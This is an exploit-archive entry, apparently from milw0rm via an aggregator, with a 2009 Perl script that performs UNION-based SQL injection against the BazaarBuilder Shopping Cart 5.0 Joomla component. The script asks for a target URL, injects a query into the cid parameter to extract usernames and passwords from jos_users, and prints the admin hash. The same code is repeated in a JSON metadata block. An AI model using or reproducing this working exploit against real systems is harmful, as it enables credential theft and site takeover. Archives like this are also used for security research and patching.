ID EXPLOITPACK:AB4C02D6194CDDB728C44296ADEA5621
Type exploitpack
Reporter XaDoS
Modified 2009-01-21T00:00:00
Description
Joomla! Component Com BazaarBuilder Shopping Cart 5.0 - SQL Injection
#!/usr/bin/perl -w
#Joomla component: BazaarBuilder Shopping Cart Software v.5.0 sql injection#
########################################
#[+] Author : XaDoS
#[+] Contact me: www.securitycode.it // xados [at] hotmail [dot] it
#[+] Greetz : Plucky - Str0ke - GsC - boom3rang - My girl ;-)
#[+] Module_Name: BazaarBuilder Ecommerce Shopping Cart Software v. 5.0
#[+] Script_Name: Joomla
#[+] Dork: find it XD
########################################
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t| ---||> X:A:D:O:S <||--- |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_prod <= Remote SQL Injection Vuln|\n\n";
print "\t\t| XaDoS ~ www.securitycode.it |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nEnter the url of vuln site[http://wwww.example.com]: ";
chomp(my $target=<STDIN>);
$column_name="concat(username,char(58),password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=com_prod&task=products&cid=-9999%20union%20all%20select%201,2,3,".$column_name.",5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from/**/".$table_name."+/*+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "||> Exploit done! ;-) <||\n\n";
}
else{print "\n||> Exploit failed! :-( <||\n";
}
# milw0rm.com [2009-01-21]
{"lastseen": "2020-04-01T19:04:22", "references": [], "description": "\nJoomla! Component Com BazaarBuilder Shopping Cart 5.0 - SQL Injection", "edition": 1, "reporter": "XaDoS", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2009-01-21T00:00:00", "title": "Joomla! Component Com BazaarBuilder Shopping Cart 5.0 - SQL Injection", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:22", "rev": 2}, "score": {"value": 0.3, "vector": "NONE", "modified": "2020-04-01T19:04:22", "rev": 2}, "vulnersScore": 0.3}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2009-01-21T00:00:00", "id": "EXPLOITPACK:AB4C02D6194CDDB728C44296ADEA5621", "href": "", "viewCount": 1, "sourceData": "#!/usr/bin/perl -w\n#Joomla component: BazaarBuilder Shopping Cart Software v.5.0 sql injection#\n########################################\n#[+] Author : XaDoS\n#[+] Contact me: www.securitycode.it // xados [at] hotmail [dot] it\n#[+] Greetz : Plucky - Str0ke - GsC - boom3rang - My girl ;-)\n#[+] Module_Name: BazaarBuilder Ecommerce Shopping Cart Software v. 5.0\n#[+] Script_Name: Joomla\n#[+] Dork: find it XD\n########################################\nprint \"\\t\\t-------------------------------------------------------------\\n\\n\";\nprint \"\\t\\t| ---||> X:A:D:O:S <||--- |\\n\\n\";\nprint \"\\t\\t-------------------------------------------------------------\\n\\n\";\nprint \"\\t\\t|Joomla Module com_prod <= Remote SQL Injection Vuln|\\n\\n\";\nprint \"\\t\\t| XaDoS ~ www.securitycode.it |\\n\\n\";\nprint \"\\t\\t-------------------------------------------------------------\\n\\n\";\nuse LWP::UserAgent;\nprint \"\\nEnter the url of vuln site[http://wwww.example.com]: \";\nchomp(my $target=<STDIN>);\n$column_name=\"concat(username,char(58),password)\";\n$table_name=\"jos_users\";\n$b = LWP::UserAgent->new() or die \"Could not initialize browser\\n\";\n$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');\n$host = $target . \"/index.php?option=com_prod&task=products&cid=-9999%20union%20all%20select%201,2,3,\".$column_name.\",5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from/**/\".$table_name.\"+/*+\";\n$res = $b->request(HTTP::Request->new(GET=>$host));\n$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){\nprint \"\\n[+] Admin Hash : $1\\n\\n\";\nprint \"||> Exploit done! ;-) <||\\n\\n\";\n}\nelse{print \"\\n||> Exploit failed! :-( <||\\n\";\n}\n\n# milw0rm.com [2009-01-21]", "cvss": {"score": 0.0, "vector": "NONE"}}
{}